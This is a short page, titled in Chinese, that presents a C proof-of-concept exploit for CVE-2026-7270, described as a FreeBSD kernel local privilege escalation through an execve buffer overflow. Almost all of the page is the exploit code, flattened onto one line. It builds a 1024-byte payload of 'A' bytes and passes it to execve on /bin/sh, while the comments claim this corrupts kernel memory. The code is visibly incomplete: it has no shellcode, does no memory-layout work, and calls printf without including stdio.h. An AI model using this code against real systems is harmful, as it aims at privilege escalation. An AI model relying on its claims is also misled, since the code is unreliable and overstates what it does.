CVE-2026-7270 FreeBSD内核本地权限提升漏洞

#include <stdlib.h> #include <unistd.h> #include <string.h> /* * PoC for CVE-2026-7270 * Conceptual exploit demonstrating the buffer overflow in execve handling. * Compile: gcc -o cve_2026_7270_poc cve_2026_7270_poc.c */ int main(int argc, char **argv) { // 1. Prepare payload to overflow adjacent execve buffers // The size and content depend on the specific kernel memory layout. // This payload attempts to corrupt the argument list stored in kernel memory. char *evil_args[4]; char overflow_payload[1024]; // Fill payload with a pattern (simulating shellcode or return address) memset(overflow_payload, 0x41, sizeof(overflow_payload)); overflow_payload[sizeof(overflow_payload) - 1] = '\0'; // 2. Setup arguments for execve evil_args[0] = "/bin/sh"; // Target executable evil_args[1] = overflow_payload; // Malicious argument triggering the overflow evil_args[2] = NULL; // 3. Execute the trigger // Due to the operator precedence bug in the kernel, processing this // execve call leads to the overflow of adjacent buffers. printf("[*] Triggering CVE-2026-7270...\n"); execve(evil_args[0], evil_args, NULL); perror("execve failed"); return 0; }